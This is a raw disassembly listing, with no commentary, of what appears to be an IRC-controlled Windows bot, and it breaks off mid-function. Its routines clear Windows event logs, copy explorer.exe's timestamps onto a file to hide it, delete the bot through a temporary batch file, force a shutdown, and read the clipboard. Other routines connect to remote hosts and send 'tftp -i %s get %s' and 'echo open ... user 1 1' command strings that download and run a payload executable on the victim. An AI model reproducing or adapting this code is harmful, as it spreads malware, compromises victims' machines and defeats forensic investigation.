ds:dbl_43C4B8 call __ftol mov cl, 41h loc_4189BE: ; CODE XREF: sub_418650+34Fj sub cl, al mov [ebp+esi+Dst], cl inc esi mov [ebp+var_4], esi loc_4189C8: ; CODE XREF: sub_418650+2F2j ; sub_418650+354j cmp [ebp+Count], 2 jge short loc_418A48 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_43C4C8 call __ftol cmp eax, 1 jnz short loc_418A48 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A8 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+Dst], cl call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C4A0 call __ftol cmp eax, 1 jnz short loc_418A48 cmp [ebp+Count], eax jge short loc_418A48 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_43C498 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_418A48: ; CODE XREF: sub_418650+1B1j ; sub_418650+37Cj ... lea eax, [ebp+Dst] push 14h ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy mov eax, [ebp+Dest] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_418650 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418A61(int,int,void *Buf2,size_t Size) sub_418A61 proc near ; CODE XREF: .text:00418BBEp ; .text:00418BE5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Buf2 = dword ptr 10h Size = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+Size] test edi, edi jle short loc_418A8F loc_418A72: ; CODE XREF: sub_418A61+2Cj push [ebp+Size] ; Size mov eax, [ebp+arg_0] add eax, esi push [ebp+Buf2] ; Buf2 push eax ; Buf1 call _memcmp add esp, 0Ch test eax, eax jz short loc_418A95 inc esi cmp esi, edi jl short loc_418A72 loc_418A8F: ; CODE XREF: sub_418A61+Fj xor al, al loc_418A91: ; CODE XREF: sub_418A61+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_418A95: ; CODE XREF: sub_418A61+27j mov al, 1 jmp short loc_418A91 sub_418A61 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2010h call __alloca_probe mov eax, [ebp+0Ch] push esi dec eax push edi jz short loc_418ADA dec eax jz short loc_418AB8 dec eax loc_418AB2: ; CODE XREF: .text:00418AF0j xor eax, eax loc_418AB4: ; CODE XREF: .text:00418AD8j ; .text:00418C02j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_418AB8: ; CODE XREF: .text:00418AAFj push 3 push 1388h push dword ptr [ebp+8] call dword_4E3138 ; inet_addr push eax call sub_40C6E7 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418AB4 ; --------------------------------------------------------------------------- loc_418ADA: ; CODE XREF: .text:00418AACj push 6 push 1 push 2 call dword_4E3178 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+0Ch], esi jz short loc_418AB2 push ebx xor ebx, ebx push 10h lea eax, [ebp-10h] push ebx push eax call _memset add esp, 0Ch mov word ptr [ebp-10h], 2 push 87h call dword_4E30F8 ; htons push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_40AE55 pop ecx mov [ebp-0Ch], eax lea eax, [ebp-10h] push 10h push eax push esi call dword_4E30A0 ; connect cmp eax, edi jz loc_418BF6 push ebx push 48h push offset dword_44FC30 push esi call dword_4E3148 ; send cmp eax, edi jz loc_418BF6 mov esi, 2000h push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E3110 ; recv cmp eax, edi jz loc_418BF6 cmp byte ptr [ebp-200Eh], 0Ch jnz short loc_418BF6 push ebx push 18h push offset dword_44FC7C push dword ptr [ebp+0Ch] call dword_4E3148 ; send cmp eax, edi jz short loc_418BF6 push ebx lea eax, [ebp-2010h] push esi push eax push dword ptr [ebp+0Ch] call dword_4E3110 ; recv mov esi, eax cmp esi, edi jz short loc_418BF6 cmp byte ptr [ebp-200Eh], 2 jnz short loc_418BF6 push 10h push offset dword_44FC98 lea eax, [ebp-2010h] push esi push eax call sub_418A61 add esp, 10h test al, al jz short loc_418BD6 cmp esi, 12Ch setnl bl inc ebx jmp short loc_418BF6 ; --------------------------------------------------------------------------- loc_418BD6: ; CODE XREF: .text:00418BC8j push 10h push offset dword_44FCAC lea eax, [ebp-2010h] push esi push eax call sub_418A61 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_418BF6: ; CODE XREF: .text:00418B34j ; .text:00418B4Bj ... push dword ptr [ebp+0Ch] call dword_4E3190 ; closesocket mov eax, ebx pop ebx jmp loc_418AB4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418C07(char *Src,char *SubStr,char *Source) sub_418C07 proc near ; CODE XREF: sub_401CC7+BD4p ; sub_401CC7+C11p ... Src = dword ptr 8 SubStr = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Src] xor esi, esi cmp edi, esi jz short loc_418C92 mov eax, [ebp+SubStr] cmp eax, esi jz short loc_418C92 cmp [ebp+Source], esi jz short loc_418C92 cmp byte ptr [eax], 0 jz short loc_418C92 push ebx push edi ; Src call __strdup mov ebx, eax pop ecx test ebx, ebx jz short loc_418C8D push [ebp+SubStr] ; SubStr push edi ; Str call _strstr mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418C86 sub eax, edi push eax ; Count push edi ; Source push ebx ; Dest call _strncpy push [ebp+Source] ; Str mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call _strlen push eax ; Count push [ebp+Source] ; Source push ebx ; Dest call _strncat push [ebp+SubStr] ; Str call _strlen add eax, esi push eax ; Source push ebx ; Dest call _strcat push ebx ; Source push edi ; Dest call _strcpy add esp, 30h mov esi, edi loc_418C86: ; CODE XREF: sub_418C07+3Cj push ebx ; Memory call _free pop ecx loc_418C8D: ; CODE XREF: sub_418C07+2Bj mov eax, esi pop ebx jmp short loc_418C94 ; --------------------------------------------------------------------------- loc_418C92: ; CODE XREF: sub_418C07+Cj ; sub_418C07+13j ... xor eax, eax loc_418C94: ; CODE XREF: sub_418C07+89j pop edi pop esi pop ebp retn sub_418C07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418C98(char *Str,int) sub_418C98 proc near ; CODE XREF: sub_401B4F+E9p ; sub_410C7D+F4p Dst = dword ptr -7D0h var_7CC = byte ptr -7CCh Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset mov esi, [ebp+Str] push esi ; Str call _strlen add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418CCE or eax, 0FFFFFFFFh jmp short loc_418D41 ; --------------------------------------------------------------------------- loc_418CCE: ; CODE XREF: sub_418C98+2Fj xor ecx, ecx mov [ebp+Dst], esi test eax, eax jle short loc_418CF0 loc_418CDA: ; CODE XREF: sub_418C98+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_418CE7 cmp dl, 0Dh jnz short loc_418CEB loc_418CE7: ; CODE XREF: sub_418C98+48j and byte ptr [ecx+esi], 0 loc_418CEB: ; CODE XREF: sub_418C98+4Dj inc ecx cmp ecx, eax jl short loc_418CDA loc_418CF0: ; CODE XREF: sub_418C98+40j xor edx, edx push edi test eax, eax jle short loc_418D21 lea edi, [ebp+var_7CC] loc_418CFD: ; CODE XREF: sub_418C98+87j cmp byte ptr [edx+esi], 0 jnz short loc_418D1C cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418D1C cmp ebx, 1F4h jge short loc_418D21 mov [edi], ecx inc ebx add edi, 4 loc_418D1C: ; CODE XREF: sub_418C98+69j ; sub_418C98+74j inc edx cmp edx, eax jl short loc_418CFD loc_418D21: ; CODE XREF: sub_418C98+5Dj ; sub_418C98+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418D3F lea eax, [ebp+Dst] push 7D0h ; Size push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_418D3F: ; CODE XREF: sub_418C98+8Ej mov eax, ebx loc_418D41: ; CODE XREF: sub_418C98+34j pop esi pop ebx leave retn sub_418C98 endp ; =============== S U B R O U T I N E ======================================= sub_418D45 proc near ; CODE XREF: sub_418D9F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418D7E push ebx mov ebx, edi loc_418D62: ; CODE XREF: sub_418D45+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418D81 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418D62 pop ebx loc_418D7E: ; CODE XREF: sub_418D45+18j pop edi pop esi retn sub_418D45 endp ; =============== S U B R O U T I N E ======================================= sub_418D81 proc near ; CODE XREF: sub_418D45+25p ; sub_418D9F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax ; C call _tolower ; _tolower cmp al, 61h pop ecx jl short loc_418D9C cmp al, 7Ah jg short loc_418D9C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418D9C: ; CODE XREF: sub_418D81+Ej ; sub_418D81+12j xor eax, eax retn sub_418D81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418D9F(char *Str,int) sub_418D9F proc near ; CODE XREF: .text:00415D48p ; .text:00415DCDp ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call __alloca_probe push ebx push esi push edi push [ebp+Str] ; Str call _strlen push [ebp+arg_4] ; Str mov [ebp+var_4], eax call _strlen mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418D45 add esp, 14h dec esi mov edi, esi loc_418DDD: ; CODE XREF: sub_418D9F+B6j test esi, esi jle short loc_418E5B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov ebx, eax mov eax, [ebp+Str] movsx eax, byte ptr [edi+eax] push eax ; C call _tolower ; _tolower pop ecx cmp eax, ebx pop ecx jz short loc_418E53 loc_418E03: ; CODE XREF: sub_418D9F+B2j mov ebx, [ebp+Str] mov al, [edi+ebx] push eax call sub_418D81 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418E24 mov eax, ecx loc_418E24: ; CODE XREF: sub_418D9F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_418E57 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax ; C call _tolower ; _tolower mov edx, eax movsx eax, byte ptr [edi+ebx] push eax ; C mov [ebp+var_8], edx call _tolower ; _tolower pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418E03 loc_418E53: ; CODE XREF: sub_418D9F+62j dec edi dec esi jmp short loc_418DDD ; --------------------------------------------------------------------------- loc_418E57: ; CODE XREF: sub_418D9F+8Aj xor eax, eax jmp short loc_418E60 ; --------------------------------------------------------------------------- loc_418E5B: ; CODE XREF: sub_418D9F+40j mov eax, [ebp+Str] add eax, edi loc_418E60: ; CODE XREF: sub_418D9F+BAj pop edi pop esi pop ebx leave retn sub_418D9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E65 proc near ; CODE XREF: sub_401CC7+6824p ; sub_401CC7+7954p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_4F5360 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_4F542C ; FormatMessageA lea eax, [ebp+var_100] loc_418E9E: ; CODE XREF: sub_418E65+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418EAA cmp cl, 9 jnz short loc_418EAD loc_418EAA: ; CODE XREF: sub_418E65+3Ej inc eax jmp short loc_418E9E ; --------------------------------------------------------------------------- loc_418EAD: ; CODE XREF: sub_418E65+43j ; sub_418E65+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418EC7 mov cl, [eax] cmp cl, 2Eh jz short loc_418EAD cmp cl, 21h jl short loc_418EAD loc_418EC7: ; CODE XREF: sub_418E65+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset byte_4F2994 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop esi leave retn sub_418E65 endp ; =============== S U B R O U T I N E ======================================= sub_418EEF proc near ; CODE XREF: sub_401CC7+24BBp push esi push 0 call dword_4E30C8 ; OpenClipboard test eax, eax jz short loc_418F26 push 1 call dword_4E30E8 ; GetClipboardData mov esi, eax test esi, esi jz short loc_418F26 push edi push esi call ds:dword_4F5434 ; GlobalLock push esi mov edi, eax call ds:dword_4F5430 ; GlobalUnlock call dword_4E314C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_418F26: ; CODE XREF: sub_418EEF+Bj ; sub_418EEF+19j xor eax, eax pop esi retn sub_418EEF endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_418F2A(char *Format) sub_418F2A proc near ; CODE XREF: sub_401CC7+770Ap Format = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call dword_4E3104 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418FAA push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_4F5440 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_4F543C ; MapViewOfFile push [esp+10h+Format] ; Format mov ebx, eax push ebx ; Dest call _sprintf pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4E3154 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4E3154 ; SendMessageA push ebx call ds:dword_4F5438 ; UnmapViewOfFile push edi call ds:dword_4F533C ; CloseHandle push 1 pop eax pop edi pop ebx jmp short loc_418FAC ; --------------------------------------------------------------------------- loc_418FAA: ; CODE XREF: sub_418F2A+14j xor eax, eax loc_418FAC: ; CODE XREF: sub_418F2A+7Ej pop esi pop ebp retn sub_418F2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FAF proc near ; CODE XREF: WinMain(x,x,x,x)+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4E31B4 ; SearchPathA test eax, eax jz short loc_41904E mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4F53C0 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41904E lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_4F5448 ; GetFileTime push ebx mov ebx, ds:dword_4F533C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41904E lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_4F5444 ; SetFileTime push esi call ebx ; CloseHandle loc_41904E: ; CODE XREF: sub_418FAF+2Aj ; sub_418FAF+51j ... pop edi pop esi pop ebx leave retn sub_418FAF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call _memset push 44h lea eax, [ebp-54h] push esi push eax call _memset add esp, 18h lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+0Ch] mov [ebp-24h], si push dword ptr [ebp+8] push offset aSS_11 ; "%s %s" push 400h push eax call __snprintf add esp, 14h lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call ds:dword_4F5340 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_4190D4 proc near ; CODE XREF: sub_401CC7+16A2p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41A51E pop ecx pop ecx push 50005h push 6 call dword_4E3038 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4190D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190F6 proc near ; CODE XREF: sub_401CC7+2745p ; sub_416F62+472p Str = byte ptr -764h var_364 = byte ptr -364h Dest = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h Dst = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_43F090, esi push edi jz short loc_41911A cmp dword_4E31C8, esi jnz short loc_41911A push esi ; Str call sub_401000 pop ecx loc_41911A: ; CODE XREF: sub_4190F6+13j ; sub_4190F6+1Bj call sub_40B91F lea eax, [ebp+Str] push eax push 400h call ds:dword_4F5384 ; GetTempPathA lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset aSdel_bat ; "%sdel.bat" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4F53C0 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_41927A lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push edi call ds:dword_4F53B4 ; WriteFile push edi call ds:dword_4F533C ; CloseHandle push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_58] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4F2B98 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_4F5370 ; GetModuleHandleA push eax call ds:dword_4F5344 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_4F536C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_419222 lea eax, [ebp+var_15C] push 80h push eax call ds:dword_4F5368 ; SetFileAttributesA loc_419222: ; CODE XREF: sub_4190F6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+Str] push eax call ds:dword_4F544C ; ExpandEnvironmentStringsA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_4F5340 ; CreateProcessA loc_41927A: ; CODE XREF: sub_4190F6+72j pop edi pop esi leave retn sub_4190F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41927E(int,char *Str,int,int,int) sub_41927E proc near ; CODE XREF: sub_401CC7+72DBp Dest = byte ptr -294h Dst = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] mov [ebp+Dst], 94h push eax call ds:dword_4F539C ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_419314 push [ebp+arg_10] push [ebp+arg_C] call dword_4E3078 ; OpenEventLogA push edi push eax call dword_4E3088 ; ClearEventLogA test eax, eax jz short loc_419306 push [ebp+arg_10] push offset asc_44FD78 ; "-" loc_4192DF: ; CODE XREF: sub_41927E+94j lea eax, [ebp+Dest] push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h jmp short loc_41933E ; --------------------------------------------------------------------------- loc_419306: ; CODE XREF: sub_41927E+57j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44FD94 jmp short loc_4192DF ; --------------------------------------------------------------------------- loc_419314: ; CODE XREF: sub_41927E+3Fj lea eax, [ebp+Dest] push offset asc_44FDBC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 1Ch loc_41933E: ; CODE XREF: sub_41927E+86j pop edi leave retn sub_41927E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call _memset add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call dword_4E3138 ; inet_addr push dword ptr [ebp+0C4h] mov [ebp-0Ch], eax call dword_4E30F8 ; htons push edi push 1 push 2 mov [ebp-0Eh], ax call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0C4h], esi jz loc_419444 lea eax, [ebp-10h] push 10h push eax push esi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jz loc_419444 mov ebx, 400h push edi lea eax, [ebp-5A0h] push ebx push eax push esi call dword_4E3110 ; recv mov esi, offset Str ; "nlzhxmpyrjsyle.exe" push esi push esi push dword ptr [ebp+8] call sub_40AF71 pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp-1A0h] push edi push eax call __snprintf movzx eax, word ptr dword_4E2E18 add esp, 18h push esi push esi push eax push dword ptr [ebp+8] call sub_40AF71 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1A0h] push edi push eax call __snprintf add esp, 1Ch lea eax, [ebp-1A0h] push 0 push eax call _strlen pop ecx push eax lea eax, [ebp-1A0h] push eax push dword ptr [ebp+0C4h] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz short loc_419448 loc_419444: ; CODE XREF: .text:00419397j ; .text:004193ADj xor al, al jmp short loc_41946C ; --------------------------------------------------------------------------- loc_419448: ; CODE XREF: .text:00419442j push 0 lea eax, [ebp-5A0h] push ebx push eax push dword ptr [ebp+0C4h] call dword_4E3110 ; recv push dword ptr [ebp+0C4h] call dword_4E3190 ; closesocket mov al, 1 loc_41946C: ; CODE XREF: .text:00419446j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419471(char *Source,int,int) sub_419471 proc near ; CODE XREF: sub_401CC7+567Fp Dest = word ptr -1C0h var_15C = byte ptr -15Ch Str = word ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4F539C ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_4194C7 cmp [ebp+var_8C], 0 jnz short loc_4194B0 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4194C7 leave retn ; --------------------------------------------------------------------------- loc_4194B0: ; CODE XREF: sub_419471+30j cmp [ebp+var_8C], 0Ah jz short loc_4194C2 cmp [ebp+var_8C], 5Ah jnz short loc_4194C7 loc_4194C2: ; CODE XREF: sub_419471+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4194C7: ; CODE XREF: sub_419471+27j ; sub_419471+3Bj ... push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call ds:dword_4F538C ; LoadLibraryA mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call ds:dword_4F5390 ; GetProcAddress push 32h ; MaxCount mov edi, eax push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+var_15C] push [ebp+arg_4] ; Source push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+Str] push [ebp+arg_8] ; Source push eax ; Dest call _mbstowcs lea eax, [ebp+Str] push eax ; Str call _wcslen shl eax, 1 push eax lea eax, [ebp+Str] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call ds:dword_4F5410 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_419471 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419551 proc near ; CODE XREF: sub_401317+F7p ; sub_40F149+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_43C4E0 call __ftol sub esi, eax mov eax, esi pop esi leave retn sub_419551 endp ; =============== S U B R O U T I N E ======================================= sub_41958E proc near ; CODE XREF: sub_401CC7+45BAp ; sub_401CC7+4610p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4195E6 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_44FE90[esi] push edi push eax call sub_419608 add esp, 14h test eax, eax jnz short loc_4195D6 push edi push off_44FE8C[esi] push offset asc_44FF50 ; "-" loc_4195C6: ; CODE XREF: sub_41958E+56j mov esi, offset byte_4F325C push esi ; Dest call _sprintf add esp, 10h jmp short loc_419603 ; --------------------------------------------------------------------------- loc_4195D6: ; CODE XREF: sub_41958E+2Aj push eax call sub_4196AA pop ecx push eax push edi push offset unk_44FF6C jmp short loc_4195C6 ; --------------------------------------------------------------------------- loc_4195E6: ; CODE XREF: sub_41958E+Cj lea eax, [eax+eax*2] mov esi, offset byte_4F325C push off_44FE88[eax*4] push offset asc_44FF98 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_419603: ; CODE XREF: sub_41958E+46j mov eax, esi pop edi pop esi retn sub_41958E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419608 proc near ; CODE XREF: sub_41958E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4E30EC ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_41962F call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4196A4 ; --------------------------------------------------------------------------- loc_41962F: ; CODE XREF: sub_419608+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4E2FD4 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41964F call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41969C ; --------------------------------------------------------------------------- loc_41964F: ; CODE XREF: sub_419608+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_419682 cmp eax, 3 jz short loc_419673 jle short loc_419695 cmp eax, 6 jg short loc_419695 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4E3040 ; ControlService jmp short loc_419689 ; --------------------------------------------------------------------------- loc_419673: ; CODE XREF: sub_419608+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4E2FDC ; StartServiceA jmp short loc_419689 ; --------------------------------------------------------------------------- loc_419682: ; CODE XREF: sub_419608+4Dj push esi call dword_4E3044 ; DeleteService loc_419689: ; CODE XREF: sub_419608+69j ; sub_419608+78j test eax, eax jnz short loc_419695 call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax loc_419695: ; 